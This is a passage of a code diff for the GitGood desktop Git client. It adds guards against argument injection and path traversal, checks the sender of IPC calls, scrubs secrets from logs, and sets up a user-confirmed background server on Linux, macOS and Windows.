(existsSync(p)) return readFile(p, 'utf8'); - } - const dir = join(repoPath, '.github', 'PULL_REQUEST_TEMPLATE'); - if (existsSync(dir)) { - const files = (await readdir(dir)).filter((f) => /\.md$/i.test(f)); - if (files.length) return readFile(join(dir, files[0]), 'utf8'); + const buf = await readRepoFile(repoPath, c); + if (buf) return buf.toString('utf8'); } + const files = (await readdir(join(repoPath, '.github', 'PULL_REQUEST_TEMPLATE')).catch(() => [] as string[])).filter((f) => /\.md$/i.test(f)); + if (files.length) return (await readRepoFile(repoPath, `.github/PULL_REQUEST_TEMPLATE/${files[0]}`))?.toString('utf8') ?? null; return null; } diff --git a/src/main/gh/settings-sync.ts b/src/main/gh/settings-sync.ts index ae28aa4..af8d58d 100644 --- a/src/main/gh/settings-sync.ts +++ b/src/main/gh/settings-sync.ts @@ -44,7 +44,7 @@ export class SettingsSyncService { /** Reuses an existing "GitGood settings" gist (e.g. enabled from another machine) or creates a new one. Also used to recover from a deleted gist. */ async enable(): Promise<{ gistId: string }> { - const existing = await this.gh.gistFind(GIST_DESCRIPTION); + const existing = await this.gh.gistFind(GIST_DESCRIPTION, GIST_FILENAME); if (existing) { this.store.setSettingsSync({ gistId: existing.id, lastSyncedAt: null, lastHash: null }); return { gistId: existing.id }; @@ -70,6 +70,10 @@ export class SettingsSyncService { async upload(): Promise { const sync = this.store.getSettingsSync(); if (!sync.gistId) throw new Error('Sync is not enabled.'); + const meta = await this.gh.gistMetadata(sync.gistId); + if (!meta) throw new Error('The settings gist no longer exists. Create a new one to sync again.'); + // Checked on every upload: a stored id may predate this check or point at a gist someone made public. + if (meta.public) throw new Error('The sync gist is public, so GitGood will not upload settings to it. Disconnect sync and enable it again to create a secret gist.'); const text = await this.currentExportText(); await this.gh.gistEdit(sync.gistId, GIST_FILENAME, text); this.store.setSettingsSync({ ...sync, lastSyncedAt: new Date().toISOString(), lastHash: stableHash(text) }); diff --git a/src/main/git/branches.ts b/src/main/git/branches.ts index 7a2b874..8cbf0c9 100644 --- a/src/main/git/branches.ts +++ b/src/main/git/branches.ts @@ -1,3 +1,4 @@ +import { assertNewBranchName, assertNotOption } from '@shared/util'; import type { Branch } from '@shared/types'; import type { GitClient } from './git'; @@ -47,6 +48,7 @@ export async function getBranches(git: GitClient, repoPath: string): Promise> { + assertNotOption(ref); const out = await git.tryRun(repoPath, ['branch', '--merged', ref, '--format=%(refname:short)'], { readOnly: true, quiet: true }); if (!out) return new Set(); return new Set(out.stdout.split('\n').map((l) => l.trim()).filter(Boolean)); @@ -66,6 +68,8 @@ export async function getDefaultBranch(git: GitClient, repoPath: string): Promis } export async function createBranch(git: GitClient, repoPath: string, name: string, startPoint: string | null, checkout: boolean): Promise { + assertNewBranchName(name); + assertNotOption(startPoint); if (checkout) { await git.run(repoPath, ['checkout', '-b', name, ...(startPoint ? [startPoint] : [])]); } else { @@ -74,6 +78,7 @@ export async function createBranch(git: GitClient, repoPath: string, name: strin } export async function checkoutBranch(git: GitClient, repoPath: string, name: string): Promise { + assertNotOption(name); await git.run(repoPath, ['checkout', name]); } @@ -81,6 +86,7 @@ export async function checkoutBranch(git: GitClient, repoPath: string, name: str export async function checkoutRemoteBranch(git: GitClient, repoPath: string, remoteBranch: string): Promise { const slash = remoteBranch.indexOf('/'); const local = slash === -1 ? remoteBranch : remoteBranch.slice(slash + 1); + assertNotOption(remoteBranch, local); const localExists = await git.tryRun(repoPath, ['show-ref', '--verify', '--quiet', `refs/heads/${local}`], { readOnly: true }); if (localExists) { await git.run(repoPath, ['checkout', local]); @@ -91,14 +97,18 @@ export async function checkoutRemoteBranch(git: GitClient, repoPath: string, rem } export async function renameBranch(git: GitClient, repoPath: string, oldName: string, newName: string): Promise { + assertNotOption(oldName); + assertNewBranchName(newName); await git.run(repoPath, ['branch', '-m', oldName, newName]); } export async function deleteLocalBranch(git: GitClient, repoPath: string, name: string): Promise { + assertNotOption(name); await git.run(repoPath, ['branch', '-D', name]); } export async function deleteRemoteBranch(git: GitClient, repoPath: string, remote: string, name: string): Promise { + assertNotOption(remote, name); await git.run(repoPath, ['push', remote, '--delete', name]); } diff --git a/src/main/git/diff.ts b/src/main/git/diff.ts index 0e890cc..29d825e 100644 --- a/src/main/git/diff.ts +++ b/src/main/git/diff.ts @@ -1,5 +1,5 @@ -import { readFile, stat } from 'node:fs/promises'; -import { join } from 'node:path'; +import { lstat, readlink } from 'node:fs/promises'; +import { isAbsolute, join } from 'node:path'; import type { DiffOptions } from '@shared/ipc'; import type { CommitFile, FileDiff, ImagePayload, WorkingFile } from '@shared/types'; import { parseConflicts } from '@shared/diff/conflicts'; @@ -8,6 +8,7 @@ import { buildStagePatch, selectAll } from '@shared/diff/patch'; import { imageMediaType, isImagePath, languageFromPath } from '@shared/util'; import { EMPTY_TREE_SHA, type GitClient } from './git'; import { isLfsPointerBuffer, readLfsObject } from './lfs'; +import { isInside, readRepoFile } from '../repo/paths'; import { mergeBase, parseNameStatusZ } from './log'; import { getGitDir } from './status'; @@ -19,8 +20,11 @@ const MAX_DIFF_LINES = 40_000; const MAX_CONTENT_BYTES = 1_500_000; const MAX_IMAGE_BYTES = 25 * 1024 * 1024; +/** Absolute filesystem path of a repo-relative git path. Throws for absolute paths and anything that resolves outside the repository (`../x`); callers that take the path from a client rely on this. */ export function toFsPath(repoPath: string, gitPath: string): string { - return join(repoPath, ...gitPath.split('/')); + const fsPath = join(repoPath, ...gitPath.split('/')); + if (gitPath.startsWith('/') || isAbsolute(gitPath) || !isInside(repoPath, fsPath)) throw new Error(`Path is outside the repository: ${gitPath}`); + return fsPath; } export function looksBinary(buf: Buffer): boolean { @@ -40,12 +44,12 @@ export async function readBlob(git: GitClient, repoPath: string, ref: string, pa return res ? res.stdoutBuffer : null; } +/** Working-tree content with git semantics: a symlink reads as its link text (what git stores), never the file it points at. */ export async function readWorktree(repoPath: string, path: string): Promise { try { const p = toFsPath(repoPath, path); - const s = await stat(p); - if (!s.isFile()) return null; - return await readFile(p); + if ((await lstat(p)).isSymbolicLink()) return Buffer.from(await readlink(p)); + return await readRepoFile(repoPath, path); } catch { return null; } diff --git a/src/main/git/operations.ts b/src/main/git/operations.ts index e190fa1..226390d 100644 --- a/src/main/git/operations.ts +++ b/src/main/git/operations.ts @@ -2,6 +2,7 @@ import { mkdir, readFile, rm, writeFile } from 'node:fs/promises'; import { join } from 'node:path'; import type { OperationOutcome } from '@shared/ipc'; import type { RebaseSquashOptions, Remote, Stash, Tag, GitConfigInfo, SigningConfig, SigningConfigInfo, SigningFormat } from '@shared/types'; +import { assertNewBranchName, assertNotOption } from '@shared/util'; import { getStashFiles, toFsPath } from './diff'; import { GitError, TransferProgressParser, type GitClient } from './git'; import { getGitDir } from './status'; @@ -39,6 +40,7 @@ export function getRemotes(git: GitClient, repoPath: string): Promise } export async function fetch(git: GitClient, repoPath: string, remote: string | null, onProgress: ProgressSink, signal?: AbortSignal): Promise { + assertNotOption(remote); const parser = new TransferProgressParser('fetch'); const args = ['fetch', '--progress', '--prune']; if (remote) args.push(remote); @@ -84,6 +86,7 @@ export async function push( onProgress: ProgressSink, signal?: AbortSignal, ): Promise { + assertNotOption(opts.remote, opts.branch); const parser = new TransferProgressParser('push'); const args = ['push', '--progress']; if (opts.force) args.push('--force-with-lease'); @@ -119,6 +122,7 @@ export async function clone(git: GitClient, url: string, directory: string, bran // ---------- merge / rebase / cherry-pick / revert ---------- export async function merge(git: GitClient, repoPath: string, branch: string, squash: boolean): Promise { + assertNotOption(branch); try { const args = squash ? ['merge', '--squash', branch] : ['merge', '--no-edit', branch]; const res = await git.run(repoPath, args, { env: { GIT_EDITOR: 'true' } }); @@ -143,6 +147,7 @@ export async function mergeContinue(git: GitClient, repoPath: string): Promise { + assertNotOption(onto); try { await git.run(repoPath, ['rebase', onto], { env: { GIT_EDITOR: 'true', GIT_SEQUENCE_EDITOR: 'true' } }); return { status: 'complete' }; @@ -182,6 +187,7 @@ export async function rebaseAbort(git: GitClient, repoPath: string): Promise { + assertNotOption(...shas); try { await git.run(repoPath, ['cherry-pick', ...shas], { env: { GIT_EDITOR: 'true' } }); return { status: 'complete' }; @@ -204,6 +210,7 @@ export async function cherryPickAbort(git: GitClient, repoPath: string): Promise } export async function revert(git: GitClient, repoPath: string, sha: string): Promise { + assertNotOption(sha); try { const isMerge = (await git.stdout(repoPath, ['rev-list', '--parents', '-n', '1', sha], { readOnly: true })).trim().split(' ').length > 2; await git.run(repoPath, ['revert', '--no-edit', ...(isMerge ? ['-m', '1'] : []), sha], { env: { GIT_EDITOR: 'true' } }); @@ -259,6 +266,7 @@ async function listTodo(git: GitClient, repoPath: string, base: string | null): /** Determines the rebase base for the given commits: parent of the oldest one, or null for --root. Exported for the AI rebase assistant's applier (src/main/git/rebase-apply.ts), which needs the same "parent of the oldest of a set of commits" computation for a History multi-selection. */ export async function rebaseBaseFor(git: GitClient, repoPath: string, shas: string[]): Promise { + assertNotOption(...shas); let oldest: string | null = null; for (const sha of shas) { if (oldest === null) { @@ -370,6 +378,7 @@ export async function reorderCommits(git: GitClient, repoPath: string, shas: str } export async function rewordCommit(git: GitClient, repoPath: string, sha: string, message: string): Promise { + assertNotOption(sha); const head = (await git.stdout(repoPath, ['rev-parse', 'HEAD'], { readOnly: true })).trim(); if (head === sha) { await git.run(repoPath, ['commit', '--amend', '--allow-empty', '-F', '-', '--cleanup=strip'], { stdin: message.endsWith('\n') ? message : `${message}\n` }); @@ -488,6 +497,7 @@ export async function stashDrop(git: GitClient, repoPath: string, sha: string): /** Creates a branch at the stash's parent commit, checks it out with the stash applied, and removes the stash (`git stash branch`). */ export async function stashBranch(git: GitClient, repoPath: string, sha: string, branchName: string): Promise { + assertNewBranchName(branchName); const ref = await requireStashRef(git, repoPath, sha); try { await git.run(repoPath, ['stash', 'branch', branchName, ref]); @@ -525,6 +535,8 @@ export async function getLatestReachableTag(git: GitClient, repoPath: string): P } export async function createTag(git: GitClient, repoPath: string, name: string, sha: string, message: string | null): Promise { + assertNewBranchName(name); + assertNotOption(sha); if (message && message.trim()) { // tag.gpgsign (if set) already makes an annotated tag signed automatically; no explicit -S needed here. await git.run(repoPath, ['tag', '-a', name, sha, '-F', '-'], { stdin: `${message.trim()}\n` }); @@ -538,6 +550,7 @@ export async function createTag(git: GitClient, repoPath: string, name: string, } export async function deleteTag(git: GitClient, repoPath: string, name: string, remote: boolean): Promise { + assertNotOption(name); await git.run(repoPath, ['tag', '-d', name]); if (remote) await git.tryRun(repoPath, ['push', 'origin', '--delete', `refs/tags/${name}`]); } @@ -709,6 +722,7 @@ export async function appendGitignore(repoPath: string, patterns: string[]): Pro } export async function isAncestor(git: GitClient, repoPath: string, ancestor: string, descendant: string): Promise { + assertNotOption(ancestor, descendant); return (await git.tryRun(repoPath, ['merge-base', '--is-ancestor', ancestor, descendant], { readOnly: true })) !== null; } diff --git a/src/main/git/status.ts b/src/main/git/status.ts index 7baa937..796afeb 100644 --- a/src/main/git/status.ts +++ b/src/main/git/status.ts @@ -217,3 +217,18 @@ export async function getStatus(git: GitClient, repoPath: string): Promise f.status !== 'ignored'), operation, hasConflicts: files.some((f) => f.conflict !== null), lastFetched }; } + +/** Ahead/behind/dirty from raw `status --porcelain=v2 --branch -z` output: anything that is not a `# ` header is a changed or untracked entry. */ +export function parseStatusIndicator(output: string): { ahead: number; behind: number; hasChanges: boolean } { + const ab = /(?:^|\0)# branch\.ab \+(\d+) -(\d+)/.exec(output); + return { ahead: ab ? parseInt(ab[1], 10) : 0, behind: ab ? parseInt(ab[2], 10) : 0, hasChanges: output.split('\0').some((t) => t !== '' && !t.startsWith('# ')) }; +} + +/** + * The repository-list indicator without `getStatus`'s extras: no LFS attribute lookup, operation detection or FETCH_HEAD stat, + * and untracked directories stay collapsed (dirty needs only to know there is something). + */ +export async function getStatusIndicator(git: GitClient, repoPath: string): Promise<{ ahead: number; behind: number; hasChanges: boolean }> { + const result = await git.run(repoPath, ['status', '--porcelain=v2', '--branch', '--untracked-files=normal', '--ignore-submodules=none', '-z'], { readOnly: true, maxBuffer: 64 * 1024 * 1024 }); + return parseStatusIndicator(result.stdout); +} diff --git a/src/main/index.ts b/src/main/index.ts index d9a1e74..b32dc08 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -15,7 +15,7 @@ import { SplitterService } from './ai/splitter'; import { TriageService } from './ai/triage'; import { applyInboxBadge } from './badge'; import { clientServerUrl, fetchServerVersion, isLocalServerUrl, registerClientIpc, showInboxNotification, waitForServer, watchServerVersion } from './client'; -import { ensureManagedServer, setUpManagedServer } from './local-server'; +import { BACKGROUND_SERVER_FLAG, ensureManagedServer, managedServerSupported, setUpManagedServer, startBackgroundServer } from './local-server'; import { GitClient } from './git/git'; import { fetch as gitFetch } from './git/operations'; import { GhClient } from './gh/gh'; @@ -59,8 +59,12 @@ if (process.env.GITGOOD_USER_DATA) app.setPath('userData', process.env.GITGOOD_U const PROTOCOLS = ['gitgood', 'x-github-client']; const pendingProtocolUrls: string[] = []; -const gotLock = app.requestSingleInstanceLock(); -if (!gotLock) { +const backgroundServer = process.argv.includes(BACKGROUND_SERVER_FLAG); +const gotLock = backgroundServer || app.requestSingleInstanceLock(); +if (backgroundServer) { + // Windows login item: only the headless server, no window/menu and no single-instance lock (the GUI app must still start). + startBackgroundServer(); +} else if (!gotLock) { app.quit(); } else { let mainWindow: BrowserWindow | null = null; @@ -76,7 +80,7 @@ if (!gotLock) { } if (win.isMinimized()) win.restore(); win.focus(); - if (parsed.kind === 'review-rerun') sendEvent(win, 'menu.action', { action: 'protocol-review-rerun', args: { repoPath: parsed.repoPath } }); + if (parsed.kind === 'review-rerun') sendEvent(win, 'menu.action', { action: 'protocol-review-rerun', args: { repoPath: parsed.repoPath, token: parsed.token } }); else sendEvent(win, 'menu.action', { action: 'protocol-open', args: { url: parsed.url, branch: parsed.branch, filepath: parsed.filepath } }); }; @@ -203,7 +207,7 @@ if (!gotLock) { }, { getVersion: () => app.getVersion(), manualUrl: RELEASES_URL, disabledEnv, isPerMachineInstall: isPerMachineInstall(process.execPath, process.platform) }); const deps: HandlerDeps = { store, tools, git, gh, repos, resolver, review, splitter, triage, prDraft, rebasePlan, releaseNotes, explain, errorExplain, inbox, settingsSync, updater, nlPalette, watchedFolders, host, emit: bus.emit, busy }; registerIpc(deps); - Menu.setApplicationMenu(buildMenu(getWindow, { showManagedServer: process.platform === 'linux' && app.isPackaged, onManagedServer: () => void setUpManagedServer(userData) })); + Menu.setApplicationMenu(buildMenu(getWindow, { showManagedServer: managedServerSupported(), onManagedServer: () => void setUpManagedServer(userData) })); /** Desktop notification for a freshly-arrived inbox item (only while the window is unfocused; see shouldNotifyInboxItem for the per-category gating). */ function notifyNewInboxItems(items: InboxItem[]): void { diff --git a/src/main/ipc.ts b/src/main/ipc.ts index 5c63c23..ff5d473 100644 --- a/src/main/ipc.ts +++ b/src/main/ipc.ts @@ -3,6 +3,7 @@ import type { ApiMethodName, EventPayloads } from '@shared/ipc'; import { IPC_EVENT_CHANNEL, IPC_INVOKE_CHANNEL } from '@shared/ipc'; import type { IpcResult } from '@shared/types'; import { createHandlers, type HandlerDeps } from './core/handlers'; +import { appEntryUrl, isTrustedSender } from './app-url'; export type { HandlerDeps } from './core/handlers'; @@ -15,5 +16,9 @@ export function sendEvent(win: BrowserWindow | nu /** Binds the Electron-free core dispatch to `ipcMain` for the desktop app. */ export function registerIpc(deps: HandlerDeps): void { const { dispatch } = createHandlers(deps); - ipcMain.handle(IPC_INVOKE_CHANNEL, (_event, method: ApiMethodName, ...args: unknown[]): Promise> => dispatch(method, args)); + const entry = appEntryUrl(); + ipcMain.handle(IPC_INVOKE_CHANNEL, (event, method: ApiMethodName, ...args: unknown[]): Promise> => { + if (!isTrustedSender(event, entry)) throw new Error('IPC refused: sender is not the app window.'); + return dispatch(method, args); + }); } diff --git a/src/main/local-server.ts b/src/main/local-server.ts index a8c4bab..ba3ddd8 100644 --- a/src/main/local-server.ts +++ b/src/main/local-server.ts @@ -1,14 +1,23 @@ -import { execFile } from 'node:child_process'; +import { execFile, execFileSync } from 'node:child_process'; import { copyFileSync, existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'; import { homedir } from 'node:os'; -import { dirname, join } from 'node:path'; +import { basename, dirname, join, posix, win32 } from 'node:path'; +import { pathToFileURL } from 'node:url'; import { promisify } from 'node:util'; import { app, dialog } from 'electron'; const execFileAsync = promisify(execFile); const UNIT_NAME = 'gitgood-server'; -const UNIT_MARKER = '# Managed by the GitGood desktop app; rewritten on launch.'; +const LAUNCHD_LABEL = 'com.gitgood.server'; +const RUN_KEY = 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'; +const RUN_VALUE = 'GitGoodServer'; +/** Makes the packaged exe run only the headless server (see `startBackgroundServer`); the Windows login item passes it. */ +export const BACKGROUND_SERVER_FLAG = '--gitgood-server'; +/** Present in every definition the desktop installs (as a comment), so only its own service definitions are ever rewritten. */ +const MARKER = 'Managed by the GitGood desktop app; rewritten on launch.'; const SERVER_URL = 'http://127.0.0.1:4600'; +/** Runs the bundled server under Electron's Node mode (`ELECTRON_RUN_AS_NODE=1`). */ +const NODE_ENTRY = "import(require('node:url').pathToFileURL(require('node:path').join(process.resourcesPath,'app.asar','out','server','index.mjs')).href)"; export interface UnitStatus { exists: boolean; @@ -17,24 +26,22 @@ export interface UnitStatus { } /** - * The service starts the bundled server through Electron's Node mode. The - * trailing `-- --no-sandbox` stops the AppImage's AppRun from prepending - * `--no-sandbox` (which Node mode rejects) on systems without user - * namespaces; after `--` Node treats it as a plain script argument. + * The systemd unit. The trailing `-- --no-sandbox` stops the AppImage's AppRun + * from prepending `--no-sandbox` (which Node mode rejects) on systems without + * user namespaces; after `--` Node treats it as a plain script argument. */ export function managedUnit(exe: string): string { - const entry = "import(require('node:url').pathToFileURL(require('node:path').join(process.resourcesPath,'app.asar','out','server','index.mjs')).href)"; // systemd splits unquoted words and expands % specifiers. const quotedExe = `"${exe.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/%/g, '%%')}"`; return `[Unit] Description=GitGood headless server After=network.target -${UNIT_MARKER} +# ${MARKER} [Service] Type=simple Environment=ELECTRON_RUN_AS_NODE=1 -ExecStart=${quotedExe} -e "${entry}" -- --no-sandbox +ExecStart=${quotedExe} -e "${NODE_ENTRY}" -- --no-sandbox Restart=on-failure RestartSec=2 @@ -43,49 +50,178 @@ WantedBy=default.target `; } -function unitPath(): string { - return join(process.env.XDG_CONFIG_HOME || join(homedir(), '.config'), 'systemd', 'user', `${UNIT_NAME}.service`); +/** The macOS LaunchAgent: starts at login and is restarted when the server exits with an error. */ +export function managedPlist(exe: string): string { + const esc = (s: string) => s.replace(/&/g, '&').replace(//g, '>'); + return ` + + + + + Label + ${LAUNCHD_LABEL} + ProgramArguments + + ${esc(exe)} + -e + ${esc(NODE_ENTRY)} + + EnvironmentVariables + + ELECTRON_RUN_AS_NODE + 1 + + RunAtLoad + + KeepAlive + + SuccessfulExit + + + + +`; +} + +/** The Windows login item (HKCU Run value): the GUI exe started with the flag that makes it run only the server. */ +export function managedRunCommand(exe: string): string { + return `"${exe}" ${BACKGROUND_SERVER_FLAG}`; +} + +/** The value data from `reg query KEY /v NAME` output, or null when absent. */ +export function parseRegQuery(stdout: string): string | null { + const m = new RegExp(`^\\s*${RUN_VALUE}\\s+REG_SZ\\s+(.*?)\\s*$`, 'm').exec(stdout); + return m ? m[1] : null; +} + +/** Escapes a PowerShell single-quoted string. */ +function psQuote(s: string): string { + return s.replace(/'/g, "''"); +} + +/** One OS command of a service lifecycle; `optional` steps (e.g. stopping a service that may not run) may fail. */ +interface Step { + argv: string[]; + optional?: boolean; +} + +interface ServiceBackend { + /** The definition file the desktop owns (systemd unit, LaunchAgent plist); null where the definition is a registry value. */ + file: string | null; + /** Reads the definition when it is not a file (Windows `reg query`). */ + query?: Step; + render(exe: string): string; + /** Runs after the definition is written: start now and at every login. */ + install(exe: string): Step[]; + /** Runs when the server must be restarted; `rewritten` when the definition just changed. */ + restart(rewritten: boolean, exe: string): Step[]; +} + +/** The service manager of `platform`: systemd user unit, launchd LaunchAgent, or (Windows) a per-user Run-key login item. */ +export function serviceBackend(platform: NodeJS.Platform, o: { home: string; uid?: number; xdgConfigHome?: string }): ServiceBackend | null { + if (platform === 'linux') { + const systemctl = (...args: string[]): Step => ({ argv: ['systemctl', '--user', ...args] }); + return { + file: posix.join(o.xdgConfigHome || posix.join(o.home, '.config'), 'systemd', 'user', `${UNIT_NAME}.service`), + render: managedUnit, + install: () => [systemctl('daemon-reload'), systemctl('enable', '--now', UNIT_NAME), systemctl('restart', UNIT_NAME)], + restart: (rewritten) => (rewritten ? [systemctl('daemon-reload'), systemctl('restart', UNIT_NAME)] : [systemctl('restart', UNIT_NAME)]), + }; + } + if (platform === 'darwin') { + const domain = `gui/${o.uid}`; + const target = `${domain}/${LAUNCHD_LABEL}`; + const file = posix.join(o.home, 'Library', 'LaunchAgents', `${LAUNCHD_LABEL}.plist`); + const bootout: Step = { argv: ['launchctl', 'bootout', target], optional: true }; + const bootstrap: Step = { argv: ['launchctl', 'bootstrap', domain, file] }; + const kickstart: Step = { argv: ['launchctl', 'kickstart', '-k', target] }; + // A changed plist only takes effect after it is booted out and in again; an unchanged, already loaded agent just restarts. + const reload = [bootout, bootstrap, kickstart]; + return { file, render: managedPlist, install: () => reload, restart: (rewritten) => (rewritten ? reload : [{ ...bootstrap, optional: true }, kickstart]) }; + } + if (platform === 'win32') { + // A per-user Run entry needs no elevation and launches the GUI-subsystem exe (no console window); the exe then runs the server itself (startBackgroundServer). + const ps = (script: string): Step => ({ argv: ['powershell.exe', '-NoProfile', '-NonInteractive', '-WindowStyle', 'Hidden', '-Command', script], optional: true }); + const stop = (exe: string) => ps(`Get-CimInstance Win32_Process | Where-Object { $_.Name -eq '${psQuote(win32.basename(exe))}' -and $_.CommandLine -like '*${BACKGROUND_SERVER_FLAG}*' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force }`); + const start = (exe: string): Step => ({ argv: ['powershell.exe', '-NoProfile', '-NonInteractive', '-WindowStyle', 'Hidden', '-Command', `Start-Process -FilePath '${psQuote(exe)}' -ArgumentList '${BACKGROUND_SERVER_FLAG}'`] }); + const register = (exe: string): Step => ({ argv: ['reg', 'add', RUN_KEY, '/v', RUN_VALUE, '/t', 'REG_SZ', '/d', managedRunCommand(exe), '/f'] }); + return { + file: null, + query: { argv: ['reg', 'query', RUN_KEY, '/v', RUN_VALUE] }, + render: managedRunCommand, + install: (exe) => [register(exe), stop(exe), start(exe)], + restart: (rewritten, exe) => [...(rewritten ? [register(exe)] : []), stop(exe), start(exe)], + }; + } + return null; +} + +function backend(): ServiceBackend | null { + return app.isPackaged ? serviceBackend(process.platform, { home: homedir(), uid: process.getuid?.(), xdgConfigHome: process.env.XDG_CONFIG_HOME }) : null; } function currentExecutable(): string { return process.env.APPIMAGE || process.execPath; } -function supported(): boolean { - return process.platform === 'linux' && app.isPackaged; +/** Whether this build can install the background server on this OS (packaged desktop on Linux, macOS or Windows). */ +export function managedServerSupported(): boolean { + return backend() !== null; } export function readUnit(): UnitStatus { - const file = unitPath(); - if (!existsSync(file)) return { exists: false, managed: false, text: null }; + const service = backend(); + if (!service) return { exists: false, managed: false, text: null }; try { - const text = readFileSync(file, 'utf8'); - return { exists: true, managed: text.includes(UNIT_MARKER), text }; + // Windows keeps the definition in the registry (sync: callers decide the banner action inline). + const text = service.query ? parseRegQuery(execFileSync(service.query.argv[0], service.query.argv.slice(1), { encoding: 'utf8', windowsHide: true })) : service.file && existsSync(service.file) ? readFileSync(service.file, 'utf8') : null; + return text === null ? { exists: false, managed: false, text: null } : { exists: true, managed: text.includes(MARKER) || text.endsWith(` ${BACKGROUND_SERVER_FLAG}`), text }; } catch { - return { exists: true, managed: false, text: null }; + // `reg query` exits non-zero when the value is absent; an unreadable file is treated as foreign. + return service.query ? { exists: false, managed: false, text: null } : { exists: true, managed: false, text: null }; } } -async function systemctl(...args: string[]): Promise { - await execFileAsync('systemctl', ['--user', ...args]); +/** Writes the definition file; Windows has none (its install/restart steps write the registry value). */ +function writeDefinition(service: ServiceBackend, text: string): void { + if (!service.file) return; + mkdirSync(dirname(service.file), { recursive: true }); + writeFileSync(service.file, text); +} + +/** Entry for `GitGood.exe --gitgood-server` (Windows login item): runs the bundled headless server inside this Electron process, with no window, menu or single-instance lock. */ +export function startBackgroundServer(): void { + app.dock?.hide(); + const entry = pathToFileURL(join(process.resourcesPath, 'app.asar', 'out', 'server', 'index.mjs')).href; + import(/* @vite-ignore */ entry).catch((err: unknown) => { + console.error('GitGood server failed to start', err); + app.exit(1); + }); } -/** Rewrites only units previously installed by this desktop, then restarts a skewed server. */ +async function runSteps(steps: Step[]): Promise { + for (const { argv, optional } of steps) { + try { + await execFileAsync(argv[0], argv.slice(1), { windowsHide: true }); + } catch (err) { + if (!optional) throw err; + } + } +} + +/** Rewrites only definitions previously installed by this desktop, then restarts a skewed server. */ export async function ensureManagedServer(serverVersion: string | null, desktopVersion: string): Promise<'unmanaged' | 'ok' | 'restarted'> { - if (!supported()) return 'ok'; + const service = backend(); + if (!service) return 'ok'; const unit = readUnit(); if (!unit.managed) return 'unmanaged'; - const expected = managedUnit(currentExecutable()); + const exe = currentExecutable(); + const expected = service.render(exe); const changed = unit.text !== expected; - if (changed) { - const file = unitPath(); - mkdirSync(dirname(file), { recursive: true }); - writeFileSync(file, expected); - await systemctl('daemon-reload'); - } + if (changed) writeDefinition(service, expected); if (changed || serverVersion !== desktopVersion) { - await systemctl('restart', UNIT_NAME); + await runSteps(service.restart(changed, exe)); return 'restarted'; } return 'ok'; @@ -103,7 +239,8 @@ function copyInitialData(userData: string, serverData: string): void { /** Installs the desktop-managed service and switches this launch to client mode. */ export async function setUpManagedServer(userData: string): Promise { - if (!supported()) return; + const service = backend(); + if (!service) return; try { const confirmation = await dialog.showMessageBox({ type: 'info', @@ -121,7 +258,7 @@ export async function setUpManagedServer(userData: string): Promise { const replace = await dialog.showMessageBox({ type: 'warning', title: 'Replace GitGood server service?', - message: 'An unmanaged gitgood-server.service already exists.', + message: `An unmanaged ${service.file ? basename(service.file) : RUN_VALUE} already exists.`, detail: 'It may be running from a source checkout. Replace it with the desktop-managed service?', buttons: ['Cancel', 'Replace'], defaultId: 1, @@ -134,12 +271,8 @@ export async function setUpManagedServer(userData: string): Promise { mkdirSync(serverData, { recursive: true }); copyInitialData(userData, serverData); - const file = unitPath(); - mkdirSync(dirname(file), { recursive: true }); - writeFileSync(file, managedUnit(currentExecutable())); - await systemctl('daemon-reload'); - await systemctl('enable', '--now', UNIT_NAME); - await systemctl('restart', UNIT_NAME); + writeDefinition(service, service.render(currentExecutable())); + await runSteps(service.install(currentExecutable())); writeFileSync(join(userData, 'server-url'), `${SERVER_URL}\n`); app.relaunch(); @@ -148,4 +281,3 @@ export async function setUpManagedServer(userData: string): Promise { dialog.showErrorBox('GitGood server', err instanceof Error ? err.message : String(err)); } } - diff --git a/src/main/logger.ts b/src/main/logger.ts index 28219a5..2dbc832 100644 --- a/src/main/logger.ts +++ b/src/main/logger.ts @@ -1,5 +1,6 @@ import { appendFileSync, existsSync, mkdirSync, renameSync, statSync } from 'node:fs'; import { join } from 'node:path'; +import { scrubSecrets } from '@shared/secrets'; let logDir: string | null = null; let logFile: string | null = null; @@ -9,7 +10,7 @@ export function initLogger(dir: string): void { logDir = dir; logFile = join(dir, 'gitgood.log'); try { - if (!existsSync(dir)) mkdirSync(dir, { recursive: true }); + if (!existsSync(dir)) mkdirSync(dir, { recursive: true, mode: 0o700 }); } catch { /* ignore */ } @@ -20,7 +21,7 @@ export function getLogPath(): string { } function write(level: string, message: string): void { - const line = `${new Date().toISOString()} [${level}] ${message}\n`; + const line = `${new Date().toISOString()} [${level}] ${scrubSecrets(message)}\n`; if (process.env.NODE_ENV !== 'production' || level !== 'info') { if (level === 'error') console.error(line.trimEnd()); else if (level === 'warn') console.warn(line.trimEnd()); @@ -31,7 +32,7 @@ function write(level: string, message: string): void { if (existsSync(logFile) && statSync(logFile).size > MAX_BYTES) { renameSync(logFile, join(logDir, 'gitgood.old.log')); } - appendFileSync(logFile, line); + appendFileSync(logFile, line, { mode: 0o600 }); } catch { /* ignore */ } diff --git a/src/main/protocol.ts b/src/main/protocol.ts index 0acd428..3339e44 100644 --- a/src/main/protocol.ts +++ b/src/main/protocol.ts @@ -8,8 +8,8 @@ export type ProtocolAction = | { kind: 'open-repo'; url: string; branch: string | null; filepath: string | null } - /** Re-run the most recent AI review for the repository at `repoPath` (decoded, native path). */ - | { kind: 'review-rerun'; repoPath: string }; + /** Re-run the most recent AI review for the repository at `repoPath` (decoded, native path). `token` is the per-run secret from the exported link, or null when the link has none. */ + | { kind: 'review-rerun'; repoPath: string; token: string | null }; export function parseProtocolUrl(raw: string): ProtocolAction | null { const text = raw.trim(); @@ -17,16 +17,19 @@ export function parseProtocolUrl(raw: string): ProtocolAction | null { if (rerun) { // Decoded by hand rather than with URLSearchParams, which reads '+' as a // space; '+' is a legal character in a path on every platform. - const raw = rerun[1].split('&').map((p) => p.split('=')).find((p) => p[0] === 'repo')?.[1]; - if (raw === undefined) return null; - let repoPath: string; - try { - repoPath = decodeURIComponent(raw).trim(); - } catch { - return null; - } + const params = rerun[1].split('&').map((p) => p.split('=')); + const decode = (key: string): string | null | undefined => { + const value = params.find((p) => p[0] === key)?.[1]; + if (value === undefined) return undefined; + try { + return decodeURIComponent(value).trim(); + } catch { + return null; + } + }; + const repoPath = decode('repo'); if (!repoPath) return null; - return { kind: 'review-rerun', repoPath }; + return { kind: 'review-rerun', repoPath, token: decode('token') 